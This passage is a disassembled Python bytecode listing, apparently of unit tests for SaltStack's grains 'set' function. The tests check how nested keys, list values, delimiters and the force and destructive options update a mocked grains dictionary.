BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 90 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD set LOAD_CONST 'a' LOAD_CONST 'item' LOAD_CONST 12 BUILD_LIST CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'comment' BINARY_SUBSCR LOAD_CONST "The key 'a' exists and the given value is a dict or a list. Use 'force=True' to overwrite." COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'item' LOAD_CONST 12 BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 194 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD set LOAD_CONST 'a' LOAD_CONST 'item' LOAD_CONST 14 BUILD_LIST CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'comment' BINARY_SUBSCR LOAD_CONST "The key 'a' exists but is a dict or a list. Use 'force=True' to overwrite." COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'item' LOAD_CONST 12 BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val1' BUILD_LIST BUILD_MAP BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 320 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,l2' LOAD_CONST 'val2' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'comment' BINARY_SUBSCR LOAD_CONST "The key 'b,l2' exists but is a dict or a list. Use 'force=True' to overwrite." COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val1' BUILD_LIST BUILD_MAP BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 94 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,l3' LOAD_CONST 'val3' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'comment' BINARY_SUBSCR LOAD_CONST "The key 'b' value is 'l1', which is different from the provided key 'l3'. Use 'force=True' to overwrite." COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 100 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD set LOAD_CONST 'b' LOAD_CONST 'bval' CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'bval' BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST LOAD_CONST 'bval' LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 90 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD set LOAD_CONST 'a' LOAD_CONST 12 CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'a' LOAD_CONST 12 BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 12 LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 92 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD set LOAD_CONST 'b' LOAD_CONST None CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST None BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST None LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 94 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b' LOAD_CONST None LOAD_CONST True LOAD_CONST ('destructive',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST None BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 90 POP_TOP LOAD_GLOBAL grainsmod LOAD_METHOD set LOAD_CONST 'a' LOAD_CONST None CALL_METHOD STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'a' LOAD_CONST None BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST None LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 94 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'a' LOAD_CONST None LOAD_CONST True LOAD_CONST True LOAD_CONST ('force', 'destructive') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'a' LOAD_CONST None BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'c' LOAD_CONST 8 BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'item' LOAD_CONST 12 BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 98 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'a' LOAD_CONST 'aval' LOAD_CONST True LOAD_CONST ('force',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'a' LOAD_CONST 'aval' BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 106 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'a' LOAD_CONST 'item' LOAD_CONST 12 BUILD_LIST LOAD_CONST True LOAD_CONST ('force',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'a' LOAD_CONST 'item' LOAD_CONST 12 BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'item' LOAD_CONST 12 BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 8 LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 104 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,nested' LOAD_CONST 'val' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 110 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,nested' LOAD_CONST 'val2' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'nested' LOAD_CONST 'val2' BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val2' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 104 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,nested' LOAD_CONST None LOAD_CONST ',' LOAD_CONST True LOAD_CONST ('delimiter', 'destructive') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'nested' LOAD_CONST 'val' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 114 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,b2' LOAD_CONST 'val2' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'val2' LOAD_CONST 'val' LOAD_CONST ('b2', 'nested') BUILD_CONST_KEY_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'val2' LOAD_CONST 'val' LOAD_CONST ('b2', 'nested') BUILD_CONST_KEY_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'l3' BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 124 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,l2' LOAD_CONST 'val2' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val2' BUILD_MAP LOAD_CONST 'l3' BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val2' BUILD_MAP LOAD_CONST 'l3' BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val1' BUILD_MAP BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 122 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,l2' LOAD_CONST 'val2' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val2' BUILD_MAP BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val2' BUILD_MAP BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val1' BUILD_LIST BUILD_MAP BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 126 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,l2' LOAD_CONST 'val2' LOAD_CONST ',' LOAD_CONST True LOAD_CONST ('delimiter', 'force') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val2' BUILD_MAP BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val2' BUILD_MAP BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val2' BUILD_MAP BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 134 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,l3' LOAD_CONST 'val3' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val2' BUILD_MAP LOAD_CONST 'l3' LOAD_CONST 'val3' BUILD_MAP BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 'l2' LOAD_CONST 'val2' BUILD_MAP LOAD_CONST 'l3' LOAD_CONST 'val3' BUILD_MAP BUILD_LIST LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l3' LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 106 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,l3' LOAD_CONST 'val3' LOAD_CONST ',' LOAD_CONST ('delimiter',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 'changes' BINARY_SUBSCR LOAD_CONST 'b' LOAD_CONST 'l3' LOAD_CONST 'val3' BUILD_MAP BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l3' LOAD_CONST 'val3' BUILD_MAP LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_METHOD dict LOAD_GLOBAL grainsmod LOAD_ATTR __grains__ LOAD_CONST 'aval' LOAD_CONST 'l1' LOAD_CONST 8 LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD SETUP_WITH to 108 POP_TOP LOAD_GLOBAL grainsmod LOAD_ATTR set LOAD_CONST 'b,l3' LOAD_CONST 'val3' LOAD_CONST ',' LOAD_CONST True LOAD_CONST ('delimiter', 'force') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 'result' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError 